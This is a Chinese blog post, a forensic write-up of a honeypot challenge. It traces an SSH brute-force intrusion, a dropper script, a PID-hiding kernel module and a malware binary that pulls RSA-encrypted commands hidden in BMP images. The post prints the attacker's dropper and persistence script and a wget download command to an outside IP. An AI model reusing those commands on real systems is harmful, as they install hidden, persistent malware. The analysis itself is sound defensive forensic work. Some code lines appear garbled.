危险漫步博客
新鲜的“黑客思维”就是从全新的角度看待黑客技术,从更高的层面去思考;专注于黑客精神及技术交流分享的独立博客。
文章2308 浏览22661809

蜜罐取证

一个月前接触了某蜜罐取证挑战赛的游戏,环境是某IDS捕抓到一次Linux环境入侵的网络流量,要求参加游戏者通过pcap文件分析出攻击过程,其中涉及到逆向、RSA密钥破解以及信息隐藏等技术。

首先一如往常,举办方提供一份pcap文件,并有几份简单的日志文件,如图1所示。


其中的doc文件就是此次比赛的问题了,大体如下:

1)攻击者如何获取登录主机的权限;

2)攻击者如何隐藏信息;

3)提供所有密钥,隐藏信息;

4)最后的payload目的是什么。

既然有shadow,就放到一台服务器上用john跑下,这里我们主要关注pcap文件(根据以往的经验,这个pcap文件将会包括我们想要的东西)。

先用WireShark和NetworkMiner分别载入pcap文件看看。在WireShark中进行数据总览,通过观察,发现连接协议只有ssh和http(估计是出题者精简掉某些包了),而且前期均是发起ssh连接请求,后期则是数个http通信。而前期的ssh通信过程中,可以观察到都是不同高位端口连接服务器的22端口,交换密钥,之后进行简短的数据通信就关闭了连接,进行下一次的ssh连接,所以我们有理由相信这是使用sshbruteforce进行的攻击。如图2所示。

图3是john跑出来的结果,都是很弱的密码。我们再看看sudoers.log文件的内容,如图4所示。

猜到manager或者sean的密码再sudo下就是root了,多可爱的蜜罐。接着我们继续看WireShark,如图5所示。

在ssh暴破过后,可以看到为数不多的几个http通信。通过Networkminer把httprespond中返回的数据提取出来,如图6和图7所示。

用file递归识别文件,可以发现d1和d2都是elf文件,其中d1是elf可执行文件,d2是模块,d3则是shell脚本,其他被编码过的文件名都是bmp图片。还是先从明文的d3入手,看看能不能找到什么蛛丝马迹。


#catd3.sh
#!/bin/bash
mvd1/var/mail/mail
chmod+x/var/mail/mail
echo-e/var/mail/mail\nsleep1\npidofmail/proc/dmesg\nexit0/etc/rc.local
nohup/var/mail/mail/dev/null21
mvd2/lib/modules/`uname-r`/sysmod.ko
depmod-a
echosysmod/etc/modules
modprobesysmod
sleep1
pidofmail/proc/dmesg
rm*


d3的目的是把d1移到/var/mail/mail中执行,加载模块d2并加入到/etc/modules中,方便以后加载。启动d1,把其pid写入/proc/dmesg,最后清理环境。难道d1和d2才是malware?启动IDA,加载模块d2,如图8所示。得益于Linux模块没有去掉函数名和调试信息,可以很清楚地看到模块的流程如下:

Our_Proc_File=create_proc_entry(dmesg);//创建/proc/dmesghide_pid(ori_proc_readdir,my_proc_readdir);

结合上面d3的脚本,很容易猜到d2模块是用来隐藏d1进程(pidofmail)的pid。我们整理下思路,从之前的分析得知,攻击者先用爆破猜到ssh密码,然后用wget拖了几个文件到victim,为什么我能确定是wget?看http通信的user-agent就知道了。其中d3是脚本启动d1和d2,d2用于隐藏d1,而d1估计就是我们期待已久的malware了。很有意思的一点是,d1调用的libc.so版本是libc.so.6。查看常见的Linux发行版的CHANGELOG,发现REDHAT、centos和ubuntu服务器版本的CHANGELOG都没用到那么高版本的glibc,只有fedora16和比较新的ubuntults才包含这个版本的glibc。

接着我们来看看d1。首先还是动态跟踪程序,strings查看程序,发现有UPX字样。直接upx–d,用官方的加壳工具就能脱掉。再用ida观察string,如图9所示。

有过base64编码经验的,对第一段字符串可能会很敏感,因为它苦恼是base64中引用到的字符串。先不忙下结论,接下来的一行“wget-O%s%shttp://%s/n/%s”很有意思,在WireShark里用http,.request过滤看看数据包,如图10所示。

IP地址和在IDA中看到的string刚好匹配,http请求中都是http://xxx/n/xxx格式。结合两者,现在可以判定图片是由d1调用wget下载的。接着用IDA查看汇编代码,程序没有被strip过,能够直接看到符号表symtable以及函数名,下面的伪代码是main()函数的流程。


1voidmain(){
2
3
srand(time());
while(1){
//初始化随机函数的seed
4
makeKeys();
//modifytheglobalvar
5
requestFile(addr[0.1.2...*8])//请求文件
6
snprintf(filename,%s%s,/var/mail/,
7
lookupFile[currentIndex*8]);//初始化全局变量
8
fd=fopen(filename,rb);
9
fseek(fd,SEEK_END,0);
10
file_size=ftell(fd);
11
fseek(fd,SEEK_SET,0);
12
fclose(fd);
13
ptr=malloc(file_size);//初始化一片堆空间,用于下面的decryptMessage
14
decryptMessage(ptr);//从图片文件中解密信息
15
16
if(processMessage(ptr)//
xxx
处理解密出来的内容
17}
18}


这样整个流程就大概清楚了,接着就是真正考验汇编功底的时候了。首先入手的是整个程序最复杂的makeKeys()函数,浏览该函数,发现好几个有意思的函数和全局变量。


random()
//产生随机数
genPrime()//产生primenum=quickPrimeTest()add(),subtract(),dec(),product()//经过逆向发现是大数加法,减法,自减,乘法
//lookupPriv=PRIVATElookupMod=Module模数lookupPriv,lookupMod
看到这么多大数的运算函数,很容易想到是类RSA算法。类似RSA算法的套路一般如下:
/**************************/
/*letp,qtoprime
*/
*/
*/
通过随机数,计算出大素数p,q,注意p,q不能相同
/*n=p*q
/*oula(n)=(p-1)(q-1)
/*lete:gcd(o(n),e)
/*ed==1modo(n)
欧拉函数
*/欧几里德求最大公约数gcd(a,b)=gcb(b,(amodb))
*/e*d全等与1取模o(n)
/**************************/
公匙为Pu(e,n)Pr(d,n)
利用方法:
M^emod(n)=C
C^dmod(n)=M
//M是待加密的数据,C是取模后的数据(加密后)


//类rsa加密的巧妙之处就在这里了对照这一套路,可以看到makeKeys()和以上的算法是十分类似的。而makeKey()使用随机数调用getPrime()确定素数,再利用素数调用大数运算函数产生全局变量lookupMod、lookupPriv、lookupSize,和lookupFile。同时,我们在makeKey中的gcd使用的e为0x10001。由以上种种,我们猜测就是类RSA算法。下面我们要加以证明,因为整套程序的漏洞就在于此了。

makeKey后的操作是requestFile,就是通过base64把lookupMod编码后向那几个IP请求文件,如图11所示。

requestFile后程序通过decryptMessage来解密数据。该函数首先打开先前wget下的图片,再调用extract_message,从图片中释放被加密的信息。

我们再看看extract_msg函数。注意malware下载下来的图片都是bmp格式的,extract_msg很明显是从图片中释放被加密的信息。bmp有lsb隐藏的方式,我这里简单画个图进行说明,如图13所示。

一个bmp文件跟elf之类的文件一样,先需要一个bmpfilehead来简单描述图片,通过infohead详细描述,如图片高度、宽度,再之后就是图片的每个像素的信息了,每个字节中存放rgb和lsb信息,我们能改写的就是lsb位了。因为lsb位又名最不重要位,由于bmp文件的性质,改变lsb位不会影响人们对图片的敏感度。lsb位在每个字节的最后1位,也就是每一字节能存放1bit的数据。如图14所示。

以上这些信息还都是我们的猜想,还需要结合代码来看,如图15所示。

extract_msg的原理就是先读取bmp文件,并把offset指向文件开始的0x36处(bmp文件头长为0x36=54),然后提取每字节的最后1bit,组合4byte作为长度(getbyte),再继续读出n*8byte数据。知道原理代码就好写了,我们可以利用一段简单的python脚本实现类似extract_msg的功能。


defextract_message(bmp):
data_offset=struct.unpack(c,bmp[10])[0]
data_offset=ord(data_offset)
message=
msg_dword=0
forjinrange(0,len(bmp)-data_offset):
if(j0x1f==0andj!=0):
message+=struct.pack(I,msg_dword)
msg_dword=0
msg_dword*=2
msg_dword|=(ord(struct.unpack(c,bmp[data_offset+j])[0])1)
returnmessage


从图片中提取的信息明显不是明文的,肯定是被之前rsakey加密过的(因为extract_ms后decrypt_Message函数再调用一次powmod()),这点更证明了之前encrypt类型是使用类RSA算法的判断。

在decryptMessage后的processMessage()函数就相当的简单了,通过之前rsadecrypt出来的文件,processMessage会用于判断其文件头是否包含PON还是NUR(不正是NOP和RUN的反转吗?),如图16所示。如果发现是RUN,就把文件写入/var/mail/sysutil,并通过popen执行。

这样,整个程序的流程就分析出来了,关键问题是decryptMessage函数。据目前可知的攻击RSA算法的方法,均是分解模数N,只要通过分解N,即能确定两素数,这个RSA算法就没有意义了。在与友人交流的时候,他们提醒了我一点,就是makeKey()函数中产生素数的时候,第二个素数是根据第一个素数产生的。这样导致的问题便是,使用费马大数分解

法,将在几秒之内分解出两个素数。

这份代码很可能是malware编写者在写代码时疏漏了,明明生成了两个随机数,可是第二个getPrime()居然使用第一个prime作为基数来生成第二个素数,由此使用费马分解法能很简单地分解出两个相近的素数的乘积(也就是N)。这里就直接提供python代码了。


N=unpackMod(f[1])
N=gmpy.mpf(N)
sqrtN=N.sqrt()
A=sqrtN.ceil()
x=A**2-N
#把mod通过base64解码后,大小端转换,反转串
#gmpy大数库,方便下面的取整和取根
#开方
#去整
x=x.sqrt()
p=int(A-x)
#素数p
#素数q
q=int(A+x)
N=int(N)
phi=(p-1)*(q-1)
d=egcd(phi,e)[-1]
#欧拉函数
#通过同余取的d


我们可以GDB调试,得到如下结果:


0x60d010:
0x60d020:
0x60d030:
0x60d040:
0x60d050:
0x60d060:
0x60d070:
0x60d080:
0x60d090:
0x60d0a0:
0x60d0b0:
0x60d0c0:
0x60d0d0:
0x3a25cf81
0x6e62b673
0x6a6172df
0x521acdec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x3a26d037
0x6e62b673
0x6a6172df
0x521acdec
0x54803517
0x0a7397dc
0x25e60706
0x54836557
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x54803517
0x0a7397dc
0x25e60706
0x54836557
0x55570cd7
0x40bb2357
0x454ab2e0
0x4885e7cf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000091
0x55570cd7
0x40bb2357
0x454ab2e0
0x4885e7cf
0x4fee3b18
0x1c09cd8a
0x5847f2c4
0x585366f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x4fee3b18
0x1c09cd8a
0x5847f2c4
0x585366f7
#p
#q
wget
-O
/var/mail/dfcb
http://23.20.23.147/n/Pd5kt5ko03MDxK5vZ60V1qMcdMfpXco98S+Jif0nwPJSavloeI99UJMHMVnJi
NSJRppkZyT94ZrYOge9P/pIodvOHIBLMhm3/QaZyDP5bFW0lnlT4ebyLHxcc7qBEETKIZ9qzYBUiWRIx
olcI/bE/thAWtmWNUS8758S2h55cfU=


再使用脚本解密,如图17所示,可以算出两个素数,最后使用两个素数即可算出RSA的私匙d。

至此,剩下的工作就简单了。再使用RSAdecrypt,就能把图片中提取出的数据完全解密出来了。RSAdecrypt的代码如图18所示。

图片数据解密后,仅仅获得了一个提权的exp,蜜罐的管理员也在此停止了数据的抓取,因此这次取证游戏也就完成了。

相关推荐